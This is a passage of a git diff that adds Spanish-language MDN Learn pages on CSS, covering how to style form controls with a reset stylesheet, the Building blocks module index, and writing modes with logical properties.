+<p>Muchos controles de formulario se añaden con el elemento <code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code>: este elemento define desde campos de formulario simples, como entradas de texto, hasta campos más complejos añadidos en HTML5, como selectores de color y fecha. Hay algunos elementos adicionales, como <code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code> para la entrada de texto multilínea, y también elementos que se utilizan para contener y etiquetar partes de formularios como <code><a href="/en-US/docs/Web/HTML/Element/fieldset">&lt;fieldset&gt;</a></code> y <code><a href="/en-US/docs/Web/HTML/Element/legend">&lt;legend&gt;</a></code>.</p>
+
+<p>El HTML5 también incluye atributos que permiten a los desarrolladores web indicar qué campos son obligatorios e incluso el tipo de contenido que debe introducirse. Si el usuario añade algo inesperado o deja un campo obligatorio en blanco, el navegador puede mostrar un mensaje de error. Los diversos navegadores no presentan ningún estilo coherente ni ninguna homogeneización en cuanto a la personalización que permiten para tales elementos.</p>
+
+<h3 id="Aplicar_estilo_a_los_elementos_de_entrada_de_texto">Aplicar estilo a los elementos de entrada de texto</h3>
+
+<p>Los elementos que permiten la entrada de texto, como <code>&lt;input type="text"&gt;</code>, algunos tipos específicos como <code>&lt;input type="email"&gt;</code> y el elemento <code>&lt;textarea&gt;</code> son bastante fáciles de diseñar y tienden a comportarse como otras cajas de tu página. Sin embargo, el estilo predeterminado de estos elementos es diferente según el sistema operativo y el navegador con el que el usuario visite el sitio.</p>
+
+<p>En el ejemplo siguiente hemos diseñado algunas entradas de texto con CSS: puedes ver que algunos elementos como los bordes, los márgenes y el área de relleno se aplican como es de esperar. Utilizamos selectores de atributos para apuntar a los diferentes tipos de entrada. Intenta cambiar el aspecto de este formulario ajustando los bordes, añadiendo colores de fondo a los campos y cambiando las fuentes y área de relleno.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>¡Importante!</strong>: Al cambiar el estilo de los elementos de formulario debes asegurarte de que para el usuario sigue siendo obvio que se trata de elementos de formulario. Podrías crear una entrada de formulario sin bordes y un fondo que sea casi indistinguible del contenido que lo rodea, pero esto haría que sea muy difícil de reconocer y completar.</p>
+</div>
+
+<p>Como se explica en los artículos sobre <a href="/es/docs/Learn/HTML/Forms/Styling_HTML_forms">el diseño de formularios</a> en la parte HTML de esta web, el sistema operativo presenta muchos de los tipos de entrada más complejos y son inaccesibles para el diseño. Por lo tanto, siempre debes suponer que los formularios se verán de manera bastante diferentes para los distintos visitantes, y deberás probar los formularios complejos en diversos navegadores.</p>
+
+<h3 id="Herencia_y_elementos_de_formulario">Herencia y elementos de formulario</h3>
+
+<p>En algunos navegadores, los elementos de formulario no heredan el estilo de letra por defecto. Por lo tanto, si deseas asegurarte de que tus campos de formulario usan la letra que se define para el cuerpo o para un elemento principal, debes añadir esta regla a tu CSS.</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  font-family : inherit;
+  font-size : 100%;
+} </code></pre>
+
+<h3 id="Elementos_de_formulario_y_tamaño_de_la_caja">Elementos de formulario y tamaño de la caja</h3>
+
+<p>Los elementos de formulario utilizan reglas diferentes en los diversos navegadores para el dimensionado de las cajas de los diferentes controles de formulario. Ya cubrimos la propiedad <code>box-sizing</code> en <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">el artículo sobre el modelo de cajas</a>. Puedes usar este conocimiento cuando diseñes formularios que garanticen una experiencia homogénea en cuanto a los anchos y las alturas de los elementos de formulario.</p>
+
+<p>Por coherencia, es una buena idea establecer los márgenes y el área de relleno en <code>0</code> para todos los elementos, y luego establecerlos de nuevo al diseñar cada uno de los controles de formulario.</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  box-sizing: border-box;
+  padding: 0;
+  margin: 0;
+}</code></pre>
+
+<h3 id="Otros_ajustes_útiles">Otros ajustes útiles</h3>
+
+<p>Además de las reglas ya mencionadas, también debes configurar <code>overflow: auto</code> en <code>&lt;textarea&gt;</code> para que Internet Explorer no muestre una barra de desplazamiento cuando no hay necesidad:</p>
+
+<pre class="brush: css">textarea {
+  overflow: auto;
+}</pre>
+
+<h3 id="Ponerlo_todo_junto_en_un_«Reinicio»">Ponerlo todo junto en un «Reinicio»</h3>
+
+<p>Como último paso podemos resumir las diversas propiedades expuestas en el «reinicio de formulario» siguiente para proporcionar una base coherente sobre la que trabajar. Esto incluye todos los elementos mencionados en las tres últimas secciones:</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  font-family: inherit;
+  font-size: 100%;
+  box-sizing: border-box;
+  padding: 0; margin: 0;
+}
+
+textarea {
+  overflow: auto;
+} </code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Muchos desarrolladores utilizan las hojas de estilo de normalización para crear un conjunto de estilos de línea base para usar en todos los proyectos. Por lo general, estas hojas hacen cosas similares a las que acabamos de describir y garantizan que cualquier cosa que pueda ser diferente en distintos navegadores tenga establecido un valor por defecto coherente antes de que tú hagas tu propio trabajo con el CSS. Aunque ya no son tan importantes como lo eran antes, porque los navegadores suelen ser más homogéneos que en el pasado. Sin embargo, si deseas ver un ejemplo, consulta <a href="http://necolas.github.io/normalize.css/">Normalize.css</a>, que es una hoja de estilo muy popular que muchos proyectos utilizan como base.</p>
+</div>
+
+<p>Para obtener más información sobre los formularios de estilo, echa un vistazo a los dos artículos en la sección HTML de estas guías.</p>
+
+<ul>
+ <li><a href="/es/docs/Learn/HTML/Forms/Styling_HTML_forms">Diseño de formularios web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Aspectos avanzados de aplicación de estilo a formularios</a></li>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo hemos destacado algunas de las diferencias que se presentan cuando trabajas con imágenes o media, y otros elementos inusuales, en CSS. En el artículo siguiente veremos algunos consejos que te resultarán útiles cuando tengas que diseñar tablas HTML.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/index.html b/files/es/learn/css/building_blocks/index.html
new file mode 100644
index 0000000000..ce15097a6c
--- /dev/null
+++ b/files/es/learn/css/building_blocks/index.html
@@ -0,0 +1,94 @@
+---
+title: Bloques de construcción CSS
+slug: Learn/CSS/Building_blocks
+tags:
+  - Aprender
+  - CSS
+  - Principiante
+  - bloques de construcción
+translation_of: Learn/CSS/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Este módulo retoma donde <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos en CSS</a> finalizó — ahora que estás familiarizado con el lenguaje y su sintaxis, y que tienes algo de experiencia en su uso, es hora de bucear un poco más profundo. Este módulo se centra en el estilo en cascada de css y en el concepto de herencia, también veremos todos los tipos de selectores, unidades, tamaños, estilos de fondo, bordes, debugging y mucho más.</p>
+
+<p class="summary">El objetivo aqui es proveerte de herramientas para que puedas escribir código CSS competentemente y ayudarte a entender lo escencial de la teoría antes de centrarnos en disciplinas más específicas como <a href="/en-US/docs/Learn/CSS/Styling_text">text styling</a> y <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a>.</p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de comenzar este módulo deberías poseer:</p>
+
+<ol>
+ <li>Un entendimiento básico de la utilización de una computadora y de la<br>
+  navegación web a nivel de usuario.</li>
+ <li>Un entorno básico constituido en base a lo dispuesto en la guía <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">Instalación de software básico</a>, tanto como conocimiento acerca de la creación y la administración de archivos, como es detallado en <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a>.</li>
+ <li>Una familiaridad básica con html, como es establecido en el módulo <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introdución a HTML</a>.</li>
+ <li>Un entendimiento elemental de CSS, como es discutido en el módulo <a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás trabajando en una computadora, tablet, u otro dispositivo en el que no eres capaz de crear tus propios archivos puedes intentar la mayor parte de los ejemplos en código en un programa para trabajar código en linea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com/">Glitch</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>En este módulo encontrarás artículos que cubren los fundamentos más esenciales del lenguaje CSS. A lo largo del módulo encontrarás múltiples ejercicios que te permitirán poner a prueba tu entendimiento.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/Building_blocks/Cascada_y_herencia">Cascada y herencia</a></dt>
+ <dd>El objetivo de ésta lección es desarrollar tu entendimiento sobre algunos de los conceptos fundamentales de CSS - cascada, especificidad y herencia - los cuales controlan como CSS es aplicado a HTML y como sus conflitos son resueltos.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a></dt>
+ <dd>Hay una gran variedad de selectores disponibles en CSS, permitiendo una fina precision para seleccionar elementos de estilo. En este artículo y sub-artículos, repasaremos los diferentes tipos en detalle y veremos como funcionan. Los sub-artículos son los que siguinetes :
+ <ul>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, clase e ID</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de Atributos</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-clases y pseudo-elementos</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinadores</a></li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></dt>
+ <dd>Todo en CSS tiene una caja a su alrededor, y comprender estas cajas es clave para poder crear diseños con CSS, o para alinear elementos con otros elementos. En esta lección, analizaremos adecuadamente el modelo CSS Box, para que pueda pasar a tareas de diseño más complejas con una comprensión de cómo funciona y la terminología que se relaciona con él.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></dt>
+ <dd>En esta lección, veremos algunas de las cosas creativas que puede hacer con fondos y bordes CSS. Al agregar degradados, imágenes de fondo y esquinas redondeadas, los fondos y los bordes son la respuesta a muchas preguntas de estilo en CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Manejo de diferentes direcciones de texto</a></dt>
+ <dd>En los últimos años, CSS ha evolucionado para admitir mejor la diferente direccionalidad del contenido, incluyendo Right-to-left (Derecha a Izquierda) pero también de Top-to-bottom (Arriba a abajo ,como el japonés); estas diferentes direccionalidades se llaman <strong>modos de escritura</strong>. A medida que avance en su estudio y comience a trabajar con el diseño, comprenderá los modos de escritura será muy útil para usted, por lo tanto, los presentaremos en este artículo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Contenido desbordante</a></dt>
+ <dd>En esta lección veremos otro concepto importante en CSS: desbordamiento. El Overflow (o desbordamiento) es lo que sucede cuando hay demasiado contenido para contenerlo cómodamente dentro de una caja. En esta guía aprenderá qué es y cómo administrarlo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Valores y unidades de CSS</a></dt>
+ <dd>
+ <p>Cada propiedad utilizada en CSS tiene un valor o conjunto de valores permitidos para esa propiedad. En esta lección veremos algunos de los valores y unidades más comunes en uso.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Dimensionar elementos en CSS</a></dt>
+ <dd>En las diversas lecciones hasta ahora, ha encontrado varias formas de dimensionar elementos en una página web utilizando CSS. Es importante comprender cuán grandes serán las diferentes características en su diseño, y en esta lección resumiremos las diversas formas en que los elementos obtienen un tamaño a través de CSS y definiremos algunos términos sobre el tamaño que lo ayudarán en el futuro.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, medios y elementos de forma</a></dt>
+ <dd>
+ <p>En esta lección veremos cómo se tratan ciertos elementos especiales en CSS. Las imágenes, otros medios y elementos de formulario se comportan de manera un poco diferente en términos de su capacidad para diseñarlos con CSS que los cuadros normales. Comprender qué es y qué no es posible puede ahorrar un poco de frustración, y esta lección resaltará algunas de las cosas principales que necesita saber.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Dando estilo a una tabla</a></dt>
+ <dd>Diseñar una tabla HTML no es el trabajo más glamoroso del mundo, pero a veces todos tenemos que hacerlo. Este artículo proporciona una guía para hacer que las tablas HTML se vean bien, con algunas técnicas específicas de diseño de tablas resaltadas.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depuración de CSS</a></dt>
+ <dd>A veces, al escribir CSS, encontrará un problema en el que su CSS no parece estar haciendo lo que espera. Este artículo le dará orientación sobre cómo solucionar un problema de CSS y le mostrará cómo las DevTools incluidas en todos los navegadores modernos pueden ayudarlo a descubrir qué está sucediendo.</dd>
+ <dt></dt>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizando tu CSS</a></dt>
+ <dd>A medida que comience a trabajar en hojas de estilo más grandes y grandes proyectos, descubrirá que mantener un gran archivo CSS puede ser un desafío. En este artículo, analizaremos brevemente algunas de las mejores prácticas para escribir su CSS para que sea fácil de mantener, y algunas de las soluciones que encontrará en uso para ayudar a mejorar la capacidad de mantenimiento.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>¿Quieres probar tus habilidades de CSS? Las siguientes evaluaciones pondrán a prueba su comprensión del CSS cubierto en las guías anteriores.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Comprensión de CSS básica</a></dt>
+ <dd>Esta evaluación evalúa su comprensión de la sintaxis básica, selectores, especificidad, modelo de caja y más.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Crear papel con membrete elegante</a></dt>
+ <dd>Si desea causar la impresión correcta, escribir una carta en papel con membrete puede ser un buen comienzo. En esta evaluación, lo retaremos a crear una plantilla en línea para lograr ese aspecto.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">Una caja de aspecto genial</a></dt>
+ <dd>Aquí aprenderás a usar el estilo de fondo y borde para crear un cuadro llamativo.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">Efectos de estilo avanzados</a></dt>
+ <dd>Este artículo actúa como una caja de trucos, brindando una introducción a algunas características de estilo avanzadas e interesantes como sombras de caja, modos de fusión y filtros.</dd>
+</dl>
diff --git a/files/es/learn/css/building_blocks/manejando_diferentes_direcciones_de_texto/index.html b/files/es/learn/css/building_blocks/manejando_diferentes_direcciones_de_texto/index.html
new file mode 100644
index 0000000000..fa21de66e5
--- /dev/null
+++ b/files/es/learn/css/building_blocks/manejando_diferentes_direcciones_de_texto/index.html
@@ -0,0 +1,165 @@
+---
+title: Manejando diferentes direcciones de texto
+slug: Learn/CSS/Building_blocks/Manejando_diferentes_direcciones_de_texto
+tags:
+  - Aprendizaje
+  - CSS
+  - Diseño en bloque
+  - Diseño lineal
+  - Modos de escritura
+  - Principiante
+  - Propiedades lógicas
+translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div>
+
+<p>Muchas de las propiedades y valores que hemos encontrado hasta ahora en nuestro aprendizaje de CSS han estado ligadas a las dimensiones físicas de nuestra pantalla. Creamos bordes arriba, a la derecha, abajo y a la izquierda de una caja, por ejemplo. Estas dimensiones físicas se ajustan adecuadamente al contenido que se visualiza de forma horizontal, y por defecto, la web tiende a apoyar lenguajes de izquierda a derecha, como el castellano o el francés, mejor que aquellos que se escriben de derecha a izquierda, como el árabe.</p>
+
+<p>Sin embargo, en los últimos años, CSS ha evolucionado para soportar de mejor forma contenidos en diferente direccionalidad, incluyendo contenido de derecha a izquierda, pero también de arriba-abajo, como el japonés - Estas direccionalidades se llaman <strong>modos de escritura</strong>.<strong> </strong>En la medida que progresa tu estudio y comiences a trabajar con diseños, comprender los modos de escritura será de mucha utilidad para ti, por ello los explicaremos a continuación.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Literatura computacional básica, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">software básico instalado</a>, conocimiento básico de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">manejo de archivos</a>, HTML básico (<a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>), y una idea de cómo funciona CSS (<a href="/es/docs/Learn/CSS/First_steps">Primeros pasos en CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender la importancia de los modos de escritura en el CSS moderno.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_son_los_modos_de_escritura">¿Qué son los modos de escritura?</h2>
+
+<p>Un modo de escritura en CSS se refiere a si el texto está escrito horizontal o verticalmente. La propiedad {{cssxref("writing-mode")}} permite cambiar de un modo a otro. No necesitas estar trabajando en un lenguaje que use un modo de escritura vertical para querer hacer esto - Podrías cambiar el modo de escritura de partes de tu diseño por razones creativas.</p>
+
+<p>En el ejemplo siguiente existe un encabezado desplegado usando <code>writing-mode: vertical-rl</code>. El texto ahora aparece vertical. El texto vertical es común en diseño gráfico, y puede ser una forma de agregar un aspecto más interesante a tu diseño web.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p>
+
+<p>Los tres valores posibles para la propiedad <code><a href="/en-US/docs/Web/CSS/writing-mode">writing-mode</a></code> son:</p>
+
+<ul>
+ <li><code>horizontal-tb</code>: Dirección de flujo de bloque de arriba abajo. Las frases aparecen horizontales.</li>
+ <li><code>vertical-rl</code>: Dirección de flujo de bloque de derecha a izquierda. Las frases aparecen verticales.</li>
+ <li><code>vertical-lr</code>: Dirección de flujo de bloque de izquierda a derecha. Las frases aparecen verticales.</li>
+</ul>
+
+<p>Así, la propiedad <code>writing-mode</code> está configurando en realidad la direccion en que los elementos de nivel bloque son desplegados en la página - ya sea de arriba abajo, derecha a izquierda, o de izquierda a derecha. Luego señala la dirección del flujo de texto en las frases.</p>
+
+<h2 id="Modos_de_escritura_y_diseño_en_bloque_y_lineal.">Modos de escritura y diseño en bloque y lineal.</h2>
+
+<p>Ya hemos visto el diseño en bloque y lineal, y el hecho de que algunas cosas se muestran como elementos de bloque y otras como elementos lineales. Ésto se encuentra ligado al modo de escritura del documento, y no de la pantalla física. Los bloques sólo se presentan desde la parte superior a la inferior de la página si estas usando un modo de escritura que presente el texto horizontalmente, como el español.</p>
+
+<p>Con el siguiente ejemplo quedará más claro. Si tienes dos cajas que contengan un <code>heading</code> y un <code>paragraph</code>. La primera usa <code>writing-mode: horizontal-tb</code>, un modo de escritura horizontal y desde la parte superior de la página a la base. La segunda usa <code>writing-mode: vertical-rl</code>; este es un modo de escritura vertical y de derecha a izquierda.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p>
+
+<p>Cuando cambiamos el modo de escritura, estamos cambiando que dirección es en bloque y cuál es lineal. En un modo de escritura <code>horizontal-tb</code> El la direccion del bloque va de arriba abajo; en un modo de escritura <code>vertical-rl</code> el bloque corre de derecha a izquierda horizontalmente. De esta forma la <strong>dimensión del bloque</strong> es siempre la direccion en la que se muestran los bloques en el modo de escritura en uso. La <strong>dimensión lineal</strong>, es siempre la dirección en que fluye una frase.</p>
+
+<p>Este dibujo muestra las dos dimensiones en un modo de escritura horizontal.<img alt="Showing the block and inline axis for a horizontal writing mode." src="https://mdn.mozillademos.org/files/16574/horizontal-tb.png" style="height: 353px; width: 634px;"></p>
+
+<p>Este dibujo muestra las dos dimensiones en un modo de escritura vertical.</p>
+
+<p><img alt="Showing the block and inline axis for a vertical writing mode." src="https://mdn.mozillademos.org/files/16575/vertical.png" style="height: 472px; width: 406px;"></p>
+
+<p>Una vez que empieces a observar el diseño CSS, y en particular los nuevos métodos de diseño, esta idea de bloque y lineal cobra mayor importancia. Será revisado más adelante.</p>
+
+<h3 id="Dirección">Dirección</h3>
+
+<p>Además del modo de escritura también tenemos la dirección del texto. Como se mencionó antes, algunos idiomas como el Árabe se escriben horizontalmente, de derecha a izquierda. Esto no es algo que usarías en un sentido creativo. Si tu simplemente quieres alinear algún elemento a la derecha, existen otras formas de hacerlo. Sin embargo es importante entender esto como parte de la naturaleza del CSS. La web no es solo para lenguajes que son escritos de izquierda a derecha!</p>
+
+<p>Debido al hecho de que el modo de escritura y la dirección del texto pueden cambiar, los nuevos métodos de diseño CSS no toman como referencia la izquierda y derecha, ni la parte superior e inferior. En su lugar, hablarán de inicio y fin junto con esta idea de en línea y bloque. No te preocupes mucho por eso en este momento, pero ten en cuenta estas ideas a medida que empiezas a mirar el diseño de una página web; va a ser de gran ayuda en tu entendimiento de CSS.</p>
+
+<h2 id="Valores_y_propiedades_lógicas">Valores y propiedades lógicas</h2>
+
+<p>La razón de hablar acerca de modos de escritura y dirección en este punto en tu aprendizaje, es por el hecho de que ya vimos muchas de estas propiedades que están atadas a las dimensiones físicas de la pantalla, y tienen más sentido cuando está en un modo de escritura horizontal.</p>
+
+<p>Vamos a echarle un vistzo a nuestras dos cajas de nuevo, una con el modo escritura <code>horizontal-tb</code> y otro con <code>vertical-rl</code>. Le hemos dado a estas dos cajas un {{cssxref("width")}}. Puedes ver que cuando la caja está en el modo de escritura vertical, aún tiene una anchura, y esto está causando que el texto se desborde.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p>
+
+<p>Lo que nosotros realmente queremos en este escenario, es esencialmente intercambiar altura y anchura junto con el modo de escritura. Cuando estamos en el modo de escritura vertical, queremos que la caja se expanda en la dimensión del bloque así como lo hace en el modo horizontal.</p>
+
+<p>Para hacerlo más fácil, CSS ha desarrollado recientemente un conjunto de propiedades asignadas. Estas esencialmente reemplazan las propiedades físicas como <code>width </code>and <code>height</code>, con versiones <strong>lógicas</strong> o <strong>relativas al flujo</strong>.</p>
+
+<p>La propiedad asignada a <code>width</code> cuando está en el modo de escritura horizontal se llama {{cssxref("inline-size")}}, se refiere al tamaño en la dimensión inline. La propiedad para <code>height </code>se llama {{cssxref("block-size")}} y es el tamaño en la dimensión de bloque. Puedes ver como funciona en el ejemplo de abajo, donde reemplazamos <code>width</code> con <code>inline-size</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}</p>
+
+<h3 id="Propiedades_lógicas_margin_border_y_padding">Propiedades lógicas <code>margin</code>, <code>border</code> y <code>padding</code></h3>
+
+<p>En las últimas dos lecciones aprendimos acerca del modelo de cajas con CSS, y los bordes CSS. En las propiedades margin, border y padding vas a encontrar varias instancias de propiedades físicas, por ejemplo {{cssxref("margin-top")}}, {{cssxref("padding-left")}}, y {{cssxref("border-bottom")}}. Del mismo modo que tenemos asignaciones para ancho y alto, hay asignaciones para estas propiedades.</p>
+
+<p>La propiedad <code>margin-top</code> está asignada a {{cssxref("margin-block-start")}}, esto siempre se va a referir al margen al inicio de la dimensión del bloque. </p>
+
+<p>La propiedad {{cssxref("padding-left")}} se asigna a {{cssxref("padding-inline-start")}}, el padding que se aplica al inicio de la dirección inline. Aquí será donde las oraciones comienzan en ese modo de escritura. La propiedad {{cssxref("border-bottom")}} se asigna a {{cssxref("border-block-end")}}, que es el borde del final de la dimensión del bloque.</p>
+
+<p>Puedes ver una comparación entre las propiedades físicas y lógicas a continuación.</p>
+
+
+
+<p><strong>Si cambias el modo de escritura de las cajas asignando a la propiedad <code>writing-mode</code> en <code>.box</code> a <code>vertical-rl</code>, vas a ver como las propiedades físicas se quedan ligadas a sus direcciones físicas, mientras que las propiedades lógicas cambian con el modo de escritura.</strong></p>
+
+<p><strong>También puedes ver que el </strong><strong>{{htmlelement("h2")}} tiene  un <code>border-bottom</code> negro. ¿Puedes averiguar como hacer que el borde inferior siempre esté debajo del texto en ambos modos de escritura?</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p>
+
+<p>Existe un gran número de propiedades cuando consideras cada uno de los bordes que puedes hacer a mano, y puedes ver todas las propiedades asignadas en la página de MDN para <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/CSS_Logical_Properties">propiedades Lógicas y Valores</a></p>
+
+<h3 id="Valores_lógicos">Valores lógicos</h3>
+
+<p>Hasta ahora hemos examinado los nombres de las propiedades lógicas. Existen también algunas propiedades que toman valores físicos de <code>top</code>, <code>right</code>, <code>bottom</code>, y <code>left</code>. Estos valores también tienen asignaciones a valores lógicos: <code>block-start</code>, <code>inline-end</code>, <code>block-end</code>, y <code>inline-start</code>.</p>
+
+<p>Por ejemplo, puedes hacer que una imagen flote a la izquierda para hacer que el texto se ajuste alrededor de la imagen. Puedes reemplazar <code>left</code> con <code>inline-start</code> como se muestra en el ejemplo a continuación.</p>
+
+<p><strong>Cambia el modo de escritura en este ejemplo a <code>vertical-rl</code> para ver que sucede con la imagen. Cambia <code>inline-start</code> por <code>inline-end</code> para cambiar el modo en que flota.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}</p>
+
+<p>Aquí también estamos usando valores lógicos de el margen para asegurar que el margen está en el sitio correcto sin importar que modo de escritura es.</p>
+
+<div class="blockIndicator note">
+<p>Actualmente, solo Firefox soporta valores relativos de flujo para <code>float</code>. Si estás usando <strong>Google Chrome </strong>o <strong>Microsoft Edge</strong>, deberías ver que la imagen no flota.</p>
+</div>
+
+<h3 id="¿Debería_usar_propiedades_físicas_o_lógicas">¿Debería usar propiedades físicas o lógicas?</h3>
+
+<p>Las propiedades lógicas y los valores son más recientes que su equivalente físico, y por lo tanto se han implementado recientemente en los navegadores. Puedes revisar cualquier página de propiedades en MDN para ver hasta donde llega el soporte del navegador. Si no estás usando multiples modos de escritura, entonces, por ahora, deberías preferir usar las versiones físicas. Sin embargo, en última instancia, esperamos que la gente va a pasar a las versiones lógicas para la mayoría de las cosas, ya que tienen mucho sentido una vez que comienzas a tratar también con métodos de diseño como Flexbox y Grid.</p>
+
+<h2 id="¡Prueba_tus_habilidades!">¡Prueba tus habilidades!</h2>
+
+<p>Tenemos mucho terreno cubierto en este artículo, pero puedes recordad la información más importante? Puedes encontrar algunas pruebas adicionales para verificar que has retenido esta información antes de seguir adelante: <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks">Prueba tus habilidades: modos de escritura.</a></p>
+
+<h2 id="Resumen">Resumen</h2>
+
